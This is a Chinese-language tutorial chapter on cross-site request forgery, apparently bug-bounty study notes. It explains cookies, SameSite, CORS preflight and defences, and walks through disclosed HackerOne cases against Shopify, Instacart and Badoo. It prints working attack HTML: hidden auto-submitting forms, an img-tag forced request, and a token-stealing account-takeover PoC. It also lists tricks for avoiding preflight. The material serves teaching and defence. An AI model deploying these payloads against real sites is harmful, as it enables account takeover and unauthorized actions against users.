跨站請求偽造(Cross-Site Request Forgery,CSRF)發生在攻擊者讓受害者的瀏覽器代為發出對另一個網站的請求,而那個網站把該請求視為合法、且由受害者本人主動送出。CSRF 通常依賴受害者已登入目標網站,並在其不知情下觸發。一旦得手,攻擊者可以修改伺服器端資料,甚至接管帳號。
一個基本流程#
- Bob 登入銀行網站查看餘額
- 瀏覽銀行後,Bob 在另一個網域上開啟信箱
- 信箱裡有一封不熟悉的連結,他點擊
- 該不熟悉的網站讓 Bob 的瀏覽器自動發出HTTP 請求到銀行,要求把錢轉給攻擊者
- 銀行收到那筆請求,因為沒有 CSRF 防護,照常執行轉帳
認證機制(Authentication)#
CSRF 之所以成立,關鍵在於網站如何認證請求。常見兩種方式:
Basic Authentication#
請求中夾帶類似標頭:
Authorization: Basic QWxhZGRpbjpPcGVuU2VzYW1l該字串是 username:password 經 base64 編碼。本章不深入,但同樣可被 CSRF 影響。
Cookie#
Cookie 是網站存放在瀏覽器中的小檔,包含屬性與名稱/值。常見屬性:
domain:可送出該 Cookie 的網域範圍expires/max-age:到期時點或剩餘秒數secure:只在 HTTPS 連線時送出httponly:禁止 JavaScript 讀取(XSS 防護重點,第 7 章詳述)samesite(較新):strict完全禁止跨站送出;lax容許「初次 GET」(如使用者主動點連結)夾帶 Cookie
Bob 沒有登出銀行——這個細節很關鍵。登出時,伺服器通常會回應一個讓 Cookie 失效的 HTTP response。沒登出意味著 Cookie 仍然有效,只要 Bob 的瀏覽器發送請求到銀行,就會自動帶上認證 Cookie。
CSRF 利用 GET 請求#
如果銀行接受 GET 觸發轉帳,攻擊者可用 <img> 標籤偽造請求:
<img src="https://www.bank.com/transfer?from=bob&to=joe&amount=500" />當 Bob 載入含此 <img> 的惡意頁時,瀏覽器會把這個 URL 當圖片來源去抓——同時自動帶上對 bank.com 的 Cookie。銀行收到請求後處理轉帳。
黃金原則:任何會改變後端資料的動作都不該用
GET。Ruby on Rails、Django 等框架預設只對POST添加 CSRF 防護,因此使用GET改資料的設計非常危險。
CSRF 利用 POST 請求#
<img> 無法觸發 POST,需要改用隱藏表單:
<iframe style="display:none" name="csrf-frame"></iframe>
<form
method="POST"
action="http://bank.com/transfer"
target="csrf-frame"
id="csrf-form"
>
<input type="hidden" name="from" value="Bob" />
<input type="hidden" name="to" value="Joe" />
<input type="hidden" name="amount" value="500" />
<input type="submit" value="submit" />
</form>
<script>
document.getElementById("csrf-form").submit();
</script>要點:
<input type="hidden">讓欄位對使用者不可見<script>在頁面載入時自動送出表單- 回應透過
display:none的 iFrame 吞掉,受害者完全不察
Content-Type 與 Preflight OPTIONS#
當 POST 的 Content-Type 是 application/json 時,瀏覽器會先送 Preflight OPTIONS:先問伺服器允不允許這個跨來源請求,再決定要不要送 POST。這稱為 CORS(Cross-Origin Resource Sharing) 機制,是 CSRF 的關鍵防線。
繞過 CORS 的常見手法:
- 把
Content-Type改成application/x-www-form-urlencoded、multipart/form-data或text/plain——這三種不會觸發 Preflight OPTIONS- 改用
GET請求(同樣不會觸發 Preflight)- 檢查回應的
Access-Control-Allow-Origin,看伺服器是否信任任意來源——若是,問題比 CSRF 更大
CSRF 的防禦機制#
CSRF Token#
最常見的防護:每個會改資料的請求都要帶一個伺服器生成、不可猜測、與使用者綁定的 Token。範例:
<form method="POST" action="http://bank.com/transfer">
<input type="text" name="from" value="Bob" />
<input type="text" name="to" value="Joe" />
<input type="text" name="amount" value="500" />
<input
type="hidden"
name="csrf"
value="lHt7DDDyUNKoHCC66BsPB8aN4p24hxNu6ZuJA+8l+YA="
/>
<input type="submit" value="submit" />
</form>Token 可放在 HTTP 標頭、POST body 或隱藏欄位。常見命名:X-CSRF-TOKEN、lia-token、rt、form-id。
看到 Token 不代表這個目標就無解。試著移除、改值、抹空——確認後端是否真的驗證它。
CORS#
CORS 限制跨來源讀取回應,但實作不當就能繞過(如改 Content-Type)。
Origin / Referer 檢查#
伺服器檢查請求的 Origin 或 Referer,確認來源網域。瀏覽器會控制這兩個標頭,攻擊者無法遠端修改(除非利用瀏覽器漏洞)。
samesite Cookie#
設為 strict 時 Cookie 完全不會在跨站場景送出;設為 lax 則允許初次 GET——這也呼應了「GET 不該改資料」的設計原則。
案例 1:Shopify Twitter Disconnect#
- 難度:低
- URL:
https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect/- 回報來源:https://www.hackerone.com/reports/111216/ ↗
- 回報日期:2016-01-17
- 獎金:$500
漏洞描述#
Shopify 提供「將 Twitter 帳號連結到商店」功能,取消連結僅需 GET 請求:
GET /auth/twitter/disconnect HTTP/1.1
Host: twitter-commerce.shopifyapps.com
Cookie: _twitter-commerce_session=REDACTED且未驗證請求來源。研究者 WeSecureApp 提供 PoC:
<html>
<body>
<img
src="https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect"
/>
</body>
</html>任何已連結 Twitter 的 Shopify 用戶造訪此頁,都會被強制斷開連結。
Takeaways#
用 Burp 或 OWASP ZAP 攔截流量,盯緊「以 GET 改變伺服器狀態」的請求——這幾乎是 CSRF 的明燈。
案例 2:Change Users Instacart Zones#
- 難度:低
- URL:
https://admin.instacart.com/api/v2/zones/- 回報來源:https://hackerone.com/reports/157993/ ↗
- 回報日期:2015-08-09
- 獎金:$100
漏洞描述#
Instacart 的 admin 子網域上一個 API endpoint 允許 POST 修改外送員的工作區域,未驗證 CSRF:
<html>
<body>
<form action="https://admin.instacart.com/api/v2/zones" method="POST">
<input type="hidden" name="zip" value="10001" />
<input type="hidden" name="override" value="true" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>override=true 強制覆蓋目標的設定。
Takeaways#
API endpoint 也屬於攻擊面。開發者常以為 API 不像網頁那樣容易被使用者發現,因此忽視防護。手機 App 多半透過 API 與後端互動,可在 Burp / ZAP 中監聽。
案例 3:Badoo Full Account Takeover#
- 難度:中
- URL:
https://www.badoo.com/- 回報來源:https://hackerone.com/reports/127703/ ↗
- 回報日期:2016-04-01
- 獎金:$852
漏洞描述#
Badoo 採用 CSRF Token:每位使用者一個獨特的 rt 參數。研究者 Mahmoud Jamal 注意到 rt 出現在許多 JSON 回應中,但 CORS 阻擋了攻擊者讀取——直到他翻到一支 JavaScript:
https://eu1.badoo.com/worker-scope/chrome-service-worker.js裡頭有:
var url_stats =
"https://eu1.badoo.com/chrome-push-stats?ws=1&rt=<urt_param_value>";CORS 不會阻擋瀏覽器嵌入第三方 JavaScript,因此攻擊者可在自己頁面
<script src="…/chrome-service-worker.js?ws=1">載入此檔,再讀取url_stats變數抽出rt。
PoC#
<html>
<head>
<title>Badoo account take over</title>
<script src="https://eu1.badoo.com/worker-scope/chrome-service-worker.js?ws=1"></script>
</head>
<body>
<script>
function getCSRFcode(str) {
return str.split("=")[2];
}
window.onload = function () {
var csrf_code = getCSRFcode(url_stats);
var csrf_url =
"https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce71044666c7be3e037ff54b560..a810&prompt=none&rt=" +
csrf_code;
window.location = csrf_url;
};
</script>
</body>
</html>流程:
<script src>載入 Badoo 的 worker script,自動執行其中的var url_stats = ...,把url_stats變成全域變數window.onload執行時,從url_stats字串中抽出rt值(csrf_code)- 把
csrf_code串入google/verify.phtml,將攻擊者的 Google 帳號綁定到受害者的 Badoo 帳號 window.location跳轉觸發 GET,銀行帳號接管完成
Takeaways#
「煙起就有火」——當 CSRF Token 在多個非預期位置(特別是 JSON 回應)出現時,極可能在某處能被攻擊者讀到。本案的 Token 只有 5 碼且放在 URL 中,本身就有設計問題。
用 Burp 全文搜尋所有資源,把 Token 當關鍵字找一遍——常會挖到資訊洩漏。
章末總結#
- CSRF 利用「瀏覽器自動帶 Cookie」的特性讓受害者代為執行動作
GET不該改資料;多數框架只對POST預設 CSRF 防護——查 GET 改資料的請求是高 CP 值的切入點- API endpoint 與網頁同樣是攻擊面,行動 App 後端尤值得留意
- 看到 CSRF Token 不要止步:嘗試移除、修改、查找它還在哪些地方被洩漏
- 防禦:CSRF Token、CORS、Origin/Referer 檢查、
samesiteCookie——多層並用才穩